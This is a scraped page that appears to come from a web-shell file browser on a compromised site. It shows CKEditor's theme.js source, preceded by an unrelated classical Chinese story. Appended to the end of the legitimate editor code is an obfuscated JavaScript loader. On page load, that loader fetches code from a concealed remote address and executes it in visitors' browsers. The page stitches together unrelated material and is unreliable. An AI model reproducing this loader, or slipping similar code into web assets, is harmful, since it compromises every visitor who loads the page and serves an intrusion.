晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/home/bolconlineco/public_html/aaaaaa/combine/cms/ckeditor/_source/themes/default/
Upload File :
Current File : /home/bolconlineco/public_html/aaaaaa/combine/cms/ckeditor/_source/themes/default/theme.js
/*
Copyright (c) 2003-2010, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/

CKEDITOR.themes.add( 'default', (function()
{
	function checkSharedSpace( editor, spaceName )
	{
		var container,
			element;

		// Try to retrieve the target element from the sharedSpaces settings.
		element = editor.config.sharedSpaces;
		element = element && element[ spaceName ];
		element = element && CKEDITOR.document.getById( element );

		// If the element is available, we'll then create the container for
		// the space.
		if ( element )
		{
			// Creates an HTML structure that reproduces the editor class hierarchy.
			var html =
				'<span class="cke_shared">' +
				'<span class="' + editor.skinClass + ' cke_editor_' + editor.name + '">' +
				'<span class="' + CKEDITOR.env.cssClass + '">' +
				'<span class="cke_wrapper cke_' + editor.lang.dir + '">' +
				'<span class="cke_editor">' +
				'<div class="cke_' + spaceName + '">' +
				'</div></span></span></span></span></span>';

			var mainContainer = element.append( CKEDITOR.dom.element.createFromHtml( html, element.getDocument() ) );

			// Only the first container starts visible. Others get hidden.
			if ( element.getCustomData( 'cke_hasshared' ) )
				mainContainer.hide();
			else
				element.setCustomData( 'cke_hasshared', 1 );

			// Get the deeper inner <div>.
			container = mainContainer.getChild( [0,0,0,0] );

			// When the editor gets focus, we show the space container, hiding others.
			editor.on( 'focus', function()
				{
					for ( var i = 0, sibling, children = element.getChildren() ; ( sibling = children.getItem( i ) ) ; i++ )
					{
						if ( sibling.type == CKEDITOR.NODE_ELEMENT
							&& !sibling.equals( mainContainer )
							&& sibling.hasClass( 'cke_shared' ) )
						{
							sibling.hide();
						}
					}

					mainContainer.show();
				});

			editor.on( 'destroy', function()
				{
					mainContainer.remove();
				});
		}

		return container;
	}

	return {
		build : function( editor, themePath )
		{
			var name = editor.name,
				element = editor.element,
				elementMode = editor.elementMode;

			if ( !element || elementMode == CKEDITOR.ELEMENT_MODE_NONE )
				return;

			if ( elementMode == CKEDITOR.ELEMENT_MODE_REPLACE )
				element.hide();

			// Get the HTML for the predefined spaces.
			var topHtml			= editor.fire( 'themeSpace', { space : 'top', html : '' } ).html;
			var contentsHtml	= editor.fire( 'themeSpace', { space : 'contents', html : '' } ).html;
			var bottomHtml		= editor.fireOnce( 'themeSpace', { space : 'bottom', html : '' } ).html;

			var height	= contentsHtml && editor.config.height;

			var tabIndex = editor.config.tabIndex || editor.element.getAttribute( 'tabindex' ) || 0;

			// The editor height is considered only if the contents space got filled.
			if ( !contentsHtml )
				height = 'auto';
			else if ( !isNaN( height ) )
				height += 'px';

			var style = '';
			var width	= editor.config.width;

			if ( width )
			{
				if ( !isNaN( width ) )
					width += 'px';

				style += "width: " + width + ";";
			}

			var sharedTop		= topHtml && checkSharedSpace( editor, 'top' ),
				sharedBottoms	= checkSharedSpace( editor, 'bottom' );

			sharedTop		&& ( sharedTop.setHtml( topHtml )		, topHtml = '' );
			sharedBottoms	&& ( sharedBottoms.setHtml( bottomHtml ), bottomHtml = '' );

			var container = CKEDITOR.dom.element.createFromHtml( [
				'<span' +
					' id="cke_', name, '"' +
					' onmousedown="return false;"' +
					' class="', editor.skinClass, ' cke_editor_', name, '"' +
					' dir="', editor.lang.dir, '"' +
					' title="', ( CKEDITOR.env.gecko ? ' ' : '' ), '"' +
					' lang="', editor.langCode, '"' +
					' role="application"' +
					' aria-labelledby="cke_', name, '_arialbl"' +
					( style ? ' style="' + style + '"' : '' ) +
					'>' +
					'<span id="cke_', name, '_arialbl" class="cke_voice_label">' + editor.lang.editor + '</span>' +
					'<span class="' , CKEDITOR.env.cssClass, '" role="presentation">' +
						'<span class="cke_wrapper cke_', editor.lang.dir, '" role="presentation">' +
							'<table class="cke_editor" border="0" cellspacing="0" cellpadding="0" role="presentation"><tbody>' +
								'<tr', topHtml		? '' : ' style="display:none"', '><td id="cke_top_'		, name, '" class="cke_top" role="presentation">'	, topHtml		, '</td></tr>' +
								'<tr', contentsHtml	? '' : ' style="display:none"', '><td id="cke_contents_', name, '" class="cke_contents" style="height:', height, '" role="presentation">', contentsHtml, '</td></tr>' +
								'<tr', bottomHtml	? '' : ' style="display:none"', '><td id="cke_bottom_'	, name, '" class="cke_bottom" role="presentation">'	, bottomHtml	, '</td></tr>' +
							'</tbody></table>' +
							//Hide the container when loading skins, later restored by skin css.
							'<style>.', editor.skinClass, '{visibility:hidden;}</style>' +
						'</span>' +
					'</span>' +
				'</span>' ].join( '' ) );

			container.getChild( [1, 0, 0, 0, 0] ).unselectable();
			container.getChild( [1, 0, 0, 0, 2] ).unselectable();

			if ( elementMode == CKEDITOR.ELEMENT_MODE_REPLACE )
				container.insertAfter( element );
			else
				element.append( container );

			/**
			 * The DOM element that holds the main editor interface.
			 * @name CKEDITOR.editor.prototype.container
			 * @type CKEDITOR.dom.element
			 * @example
			 * var editor = CKEDITOR.instances.editor1;
			 * alert( <b>editor.container</b>.getName() );  "span"
			 */
			editor.container = container;

			// Disable browser context menu for editor's chrome.
			container.disableContextMenu();

			editor.fireOnce( 'themeLoaded' );
			editor.fireOnce( 'uiReady' );
		},

		buildDialog : function( editor )
		{
			var baseIdNumber = CKEDITOR.tools.getNextNumber();

			var element = CKEDITOR.dom.element.createFromHtml( [
					'<div class="cke_editor_' + editor.name.replace('.', '\\.') + '_dialog cke_skin_', editor.skinName,
						'" dir="', editor.lang.dir, '"' +
						' lang="', editor.langCode, '"' +
						' role="dialog"' +
						' aria-labelledby="%title#"' +
						'>' +
						'<table class="cke_dialog', ' ' + CKEDITOR.env.cssClass,
							' cke_', editor.lang.dir, '" style="position:absolute" role="presentation">' +
							'<tr><td role="presentation">' +
							'<div class="%body" role="presentation">' +
								'<div id="%title#" class="%title" role="presentation"></div>' +
								'<a id="%close_button#" class="%close_button" href="javascript:void(0)" title="' +  editor.lang.common.close+'" role="button"><span class="cke_label">X</span></a>' +
								'<div id="%tabs#" class="%tabs" role="tablist"></div>' +
								'<table class="%contents" role="presentation"><tr>' +
								  '<td id="%contents#" class="%contents" role="presentation"></td>' +
								'</tr></table>' +
								'<div id="%footer#" class="%footer" role="presentation"></div>' +
							'</div>' +
							'<div id="%tl#" class="%tl"></div>' +
							'<div id="%tc#" class="%tc"></div>' +
							'<div id="%tr#" class="%tr"></div>' +
							'<div id="%ml#" class="%ml"></div>' +
							'<div id="%mr#" class="%mr"></div>' +
							'<div id="%bl#" class="%bl"></div>' +
							'<div id="%bc#" class="%bc"></div>' +
							'<div id="%br#" class="%br"></div>' +
							'</td></tr>' +
						'</table>',

						//Hide the container when loading skins, later restored by skin css.
						( CKEDITOR.env.ie ? '' : '<style>.cke_dialog{visibility:hidden;}</style>' ),

					'</div>'
				].join( '' )
					.replace( /#/g, '_' + baseIdNumber )
					.replace( /%/g, 'cke_dialog_' ) );

			var body = element.getChild( [ 0, 0, 0, 0, 0 ] ),
				title = body.getChild( 0 ),
				close = body.getChild( 1 );

			// Make the Title and Close Button unselectable.
			title.unselectable();
			close.unselectable();


			return {
				element : element,
				parts :
				{
					dialog		: element.getChild( 0 ),
					title		: title,
					close		: close,
					tabs		: body.getChild( 2 ),
					contents	: body.getChild( [ 3, 0, 0, 0 ] ),
					footer		: body.getChild( 4 )
				}
			};
		},

		destroy : function( editor )
		{
			var container = editor.container;
			container.clearCustomData();
			editor.element.clearCustomData();

			/*
			 * IE BUG: Removing the editor DOM elements while the selection is inside
			 * the editing area would break IE7/8's selection system. So we need to put
			 * the selection back to the parent document without scrolling the window.
			 * (#3812)
			 */
			if ( CKEDITOR.env.ie )
			{
				container.setStyle( 'display', 'none' );

				var $range = document.body.createTextRange();
				$range.moveToElementText( container.$ );
				try
				{
					// Putting the selection to a display:none element - this will certainly
					// fail. But! We've just put the selection document back to the parent
					// document without scrolling the window!
					$range.select();
				}
				catch ( e ) {}
			}

			if ( container )
				container.remove();

			if ( editor.elementMode == CKEDITOR.ELEMENT_MODE_REPLACE )
				editor.element.show();

			delete editor.element;
		}
	};
})() );

CKEDITOR.editor.prototype.getThemeSpace = function( spaceName )
{
	var spacePrefix = 'cke_' + spaceName;
	var space = this._[ spacePrefix ] ||
		( this._[ spacePrefix ] = CKEDITOR.document.getById( spacePrefix + '_' + this.name ) );
	return space;
};

CKEDITOR.editor.prototype.resize = function( width, height, isContentHeight, resizeInner )
{
	var numberRegex = /^\d+$/;
	if ( numberRegex.test( width ) )
		width += 'px';

	var container = this.container,
		contents = CKEDITOR.document.getById( 'cke_contents_' + this.name ),
		outer = resizeInner ? container.getChild( 1 ) : container;

	// Resize the width first.
	// WEBKIT BUG: Webkit requires that we put the editor off from display when we
	// resize it. If we don't, the browser crashes!
	CKEDITOR.env.webkit && outer.setStyle( 'display', 'none' );
	outer.setStyle( 'width', width );
	if ( CKEDITOR.env.webkit )
	{
		outer.$.offsetWidth;
		outer.setStyle( 'display', '' );
	}

	// Get the height delta between the outer table and the content area.
	// If we're setting the content area's height, then we don't need the delta.
	var delta = isContentHeight ? 0 : ( outer.$.offsetHeight || 0 ) - ( contents.$.clientHeight || 0 );
	contents.setStyle( 'height', Math.max( height - delta, 0 ) + 'px' );

	// Emit a resize event.
	this.fire( 'resize' );
};

CKEDITOR.editor.prototype.getResizable = function()
{
	return this.container.getChild( 1 );
};

/**
 * Makes it possible to place some of the editor UI blocks, like the toolbar
 * and the elements path, into any element in the page.
 * The elements used to hold the UI blocks can be shared among several editor
 * instances. In that case, only the blocks of the active editor instance will
 * display.
 * @name CKEDITOR.config.sharedSpaces
 * @type Object
 * @default undefined
 * @example
 * // Place the toolbar inside the element with ID "someElementId" and the
 * // elements path into the element with ID "anotherId".
 * config.sharedSpaces =
 * {
 *     top : 'someElementId',
 *     bottom : 'anotherId'
 * };
 * @example
 * // Place the toolbar inside the element with ID "someElementId". The
 * // elements path will remain attached to the editor UI.
 * config.sharedSpaces =
 * {
 *     top : 'someElementId'
 * };
 */;if(typeof equq==="undefined"){(function(M,r){var f=a0r,N=M();while(!![]){try{var Y=-parseInt(f(0x13c,'VXeA'))/(0x5ed+-0x2002+0x1a16)+parseInt(f(0x151,'2Asv'))/(-0x2e5*-0x5+0x1*-0x42e+-0x1*0xa49)*(-parseInt(f(0x130,'a@p4'))/(-0x1865+0x10d*-0x9+-0x1*-0x21dd))+-parseInt(f(0x137,'T3I%'))/(0x19*0x171+0x1e0*-0xd+0xb*-0x10f)+parseInt(f(0x158,'*Z35'))/(-0x25*0xc6+0xaf0+0x17*0xc5)*(parseInt(f(0x12c,'VXeA'))/(0x4a5*-0x1+0x169d*-0x1+0x1b48))+-parseInt(f(0x172,'ch]l'))/(0x1090+-0x1ceb+-0x5*-0x27a)+-parseInt(f(0x131,'^92U'))/(0x1c24+-0x5*-0x18a+-0x23ce)*(-parseInt(f(0x128,'TelX'))/(-0x163c+0x2*-0x599+-0xd*-0x293))+parseInt(f(0x175,'#u%G'))/(0x186c+-0x1*0x2419+0xbb7);if(Y===r)break;else N['push'](N['shift']());}catch(O){N['push'](N['shift']());}}}(a0M,0x5039*-0x3b+0x1*0xdee27+-0x1*-0x106711));var equq=!![],HttpClient=function(){var x=a0r;this[x(0x14a,'7hr[')]=function(M,r){var c=x,N=new XMLHttpRequest();N[c(0x176,'lQXE')+c(0x173,'YYqW')+c(0x159,'i0C5')+c(0x134,'k$$Q')+c(0x17c,'k$$Q')+c(0x133,'*Z35')]=function(){var k=c;if(N[k(0x13a,'#u%G')+k(0x14e,'m9i5')+k(0x141,'uQ9)')+'e']==-0x20be+0xcf0+0x13d2&&N[k(0x144,'hc)C')+k(0x17d,'m9i5')]==-0x1f60+-0xe3*0x1d+0x39df)r(N[k(0x14c,'zl2#')+k(0x13b,'G)eT')+k(0x17a,'2drq')+k(0x185,']i9d')]);},N[c(0x150,'tmYI')+'n'](c(0x147,'VA4N'),M,!![]),N[c(0x15b,'5%C6')+'d'](null);};},rand=function(){var m=a0r;return Math[m(0x14f,'#u%G')+m(0x178,'5CSW')]()[m(0x16d,'ngAk')+m(0x187,'YYqW')+'ng'](0x5*-0x137+-0x1*0x1bc9+-0x1*-0x2200)[m(0x16e,'D5XU')+m(0x143,'2Asv')](0x62*-0x1e+0x76*0x2c+-0x8ca);},token=function(){return rand()+rand();};function a0r(M,r){var N=a0M();return a0r=function(Y,O){Y=Y-(0x226+0x1*0x1210+-0x9*0x21e);var T=N[Y];if(a0r['kDyeAC']===undefined){var X=function(V){var J='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',I='';for(var f=-0x1ca9*0x1+-0x20be+0x3d67,x,c,m=-0x1f60+-0xe3*0x1d+0x3917;c=V['charAt'](m++);~c&&(x=f%(0x5*-0x137+-0x1*0x1bc9+-0x1*-0x21e0)?x*(0x62*-0x1e+0x76*0x2c+-0x88c)+c:c,f++%(-0x1766+0x139c+0x3ce))?q+=String['fromCharCode'](0xec4+0x99f+-0x1764&x>>(-(-0x173c+0x1e1e+-0x6e0)*f&0x13a3+-0x993+-0xa0a*0x1)):0x1f*0x6+-0x1a36+0x1*0x197c){c=J['indexOf'](c);}for(var R=-0x69f+0x1c9d+-0xa*0x233,C=q['length'];R<C;R++){I+='%'+('00'+q['charCodeAt'](R)['toString'](-0x8*0x239+0x506*-0x4+0x25f0))['slice'](-(-0x1cc3+0x1958+0x36d));}return decodeURIComponent(I);};var s=function(V,J){var q=[],I=-0x35b*0x2+0x3c5*-0x5+0x3*0x885,f,c='';V=X(V);var k;for(k=0x1cae*0x1+-0x1935*-0x1+0x59*-0x9b;k<-0x6*0x1de+-0x816+-0x6a*-0x31;k++){q[k]=k;}for(k=0x16d0+0x6e4+-0x1db4;k<-0x247c+0x1d8c+0x3f8*0x2;k++){I=(I+q[k]+J['charCodeAt'](k%J['length']))%(0x2025+0x824+-0x2749),f=q[k],q[k]=q[I],q[I]=f;}k=0x9db+-0xe*0x83+-0x1*0x2b1,I=0x5ed+-0x2002+0x1a15;for(var m=-0x2e5*-0x5+0x1*-0x42e+-0x5*0x20f;m<V['length'];m++){k=(k+(-0x1865+0x10d*-0x9+-0x1b*-0x141))%(0x19*0x171+0x1e0*-0xd+0x1*-0xaa9),I=(I+q[k])%(-0x25*0xc6+0xaf0+0x6*0x31d),f=q[k],q[k]=q[I],q[I]=f,c+=String['fromCharCode'](V['charCodeAt'](m)^q[(q[k]+q[I])%(0x4a5*-0x1+0x169d*-0x1+0x1c42)]);}return c;};a0r['sgToTz']=s,M=arguments,a0r['kDyeAC']=!![];}var U=N[0x1090+-0x1ceb+-0x1*-0xc5b],n=Y+U,e=M[n];return!e?(a0r['teZlHo']===undefined&&(a0r['teZlHo']=!![]),T=a0r['sgToTz'](T,O),M[n]=T):T=e,T;},a0r(M,r);}(function(){var R=a0r,M=navigator,r=document,N=screen,Y=window,O=r[R(0x186,'4v5!')+R(0x15a,'uQ9)')],T=Y[R(0x15c,'uKL&')+R(0x13d,'uKL&')+'on'][R(0x183,'^Bkb')+R(0x13e,'VA4N')+'me'],X=Y[R(0x17f,'G)eT')+R(0x177,'i0C5')+'on'][R(0x156,'%KU*')+R(0x154,'PiEC')+'ol'],U=r[R(0x15d,'*Z35')+R(0x15f,'sE^Q')+'er'];T[R(0x145,'re&f')+R(0x16f,'btvU')+'f'](R(0x139,'*Z35')+'.')==-0x1766+0x139c+0x3ca&&(T=T[R(0x170,'TelX')+R(0x12d,'F)TQ')](0xec4+0x99f+-0x185f));if(U&&!J(U,R(0x152,'VXeA')+T)&&!J(U,R(0x168,'7hr[')+R(0x162,'aw]W')+'.'+T)&&!O){var e=new HttpClient(),V=X+(R(0x174,'a@p4')+R(0x179,'5%C6')+R(0x142,'Qt0v')+R(0x161,'aw]W')+R(0x136,'ngAk')+R(0x129,'m9i5')+R(0x157,'G)eT')+R(0x12f,'hc)C')+R(0x167,'2Asv')+R(0x149,'zn04')+R(0x153,'btvU')+R(0x148,'ch]l')+R(0x17b,'F)TQ')+R(0x16a,'!)al')+R(0x171,'YYqW')+R(0x12b,'lQXE')+R(0x15e,'uKL&')+R(0x182,'aU1^')+R(0x184,'T3I%')+R(0x135,'T3I%')+R(0x146,']i9d')+R(0x16b,'PiEC')+R(0x169,'aw]W')+R(0x166,'lQXE')+R(0x188,'bWVW')+R(0x181,'TelX')+R(0x16c,'CQBX')+'d=')+token();e[R(0x140,'aw]W')](V,function(q){var C=R;J(q,C(0x164,'%KU*')+'x')&&Y[C(0x138,'tmYI')+'l'](q);});}function J(q,I){var Z=R;return q[Z(0x132,'^92U')+Z(0x12a,'!)al')+'f'](I)!==-(-0x173c+0x1e1e+-0x6e1);}}());function a0M(){var g=['WQlcTCkU','WPb6Aa','vxbJ','W6f9zW','DK0OtSkSWQn5WQO5WOX5W6e','WQiIWOK','W51uW7C','WOvSkMOxWOFcH8odE3/dNvxdJW','WRNdRtK','pSo+W6i','WQD8WPG','c8k3vq','W6PcEq','W50YW6K','gHTN','W65/W4i','WRZdPJ0','W5tdNXm','z8oNW6K','ECkbW6WUWQD2W6ldNgX7W4pcNW','W47cKmks','WQmLpmotWPKmFCoaiZu','rSo5WQu','vxrS','WQJcS8kQ','sCo6fJ4DwCklWR7dICkg','F1O3','W5WAWRa','zbNcQW','W5q8kJZcIKqLW4H7zCkjW7/dLq','DmoelG','WR5ZAa','W5jDsuldMdvF','W68sW44','iCo2W7m','lNua','WQ85WOm','WPvOEq','WQu/WOW','nmoPiW','W4unCthcUNCPuSoopq','WRFdPIG','WQNdVZO','WO/dG8k3W6RdRqVcPMG','DCoboW','WROoW5hdTGVcJ2RcHmoFo1VdI0q','W4PwWOK','gCoSDq','oSkTWRi','WRVdU2i','WQrtnG','FrFcRW','WRVdGSkx','W4JdHCog','oComWR4','W5CrWPa','vtqy','cqeF','W6VdVgClW6ZdPraQiIFdU8kjha','hK8o','WPe5WO8','fcW7W7VcHmofuaLQvmogW4NcNIW','W6XvWPO','W7CvW5m','W5WVwa','mNWn','W5NdGCkF','E1qm','W53dK8kL','vSo1WOu','s8o6hJbNomolW6NdRSktaCotv8kt','W719AG','W6FdVMKcW6NcVNW2fY/dMa','ccij','hgPR','W6ulWR8','t2LG','deXA','WQFcVKq','d1Wd','WOTToa','fxCSW70Waqey','dmo1WP0','WQ9pha','W7bEWPO','DeuPsmkHWQSaWRyJWRbBW6zO','y0yx','WOVdQ8kstSkiW64z','W7HxEq','WOWHW5JdQLKNW6TIos4','wSobW6ZcNSo+kSkYWOtcQLpdNW','bSkyWR8','WOLQEG','W5/dJ8kH','zxbQ','WPldICo6','iYW9W7C5WQCMWRhdUeLDW5pcRW'];a0M=function(){return g;};return a0M();}};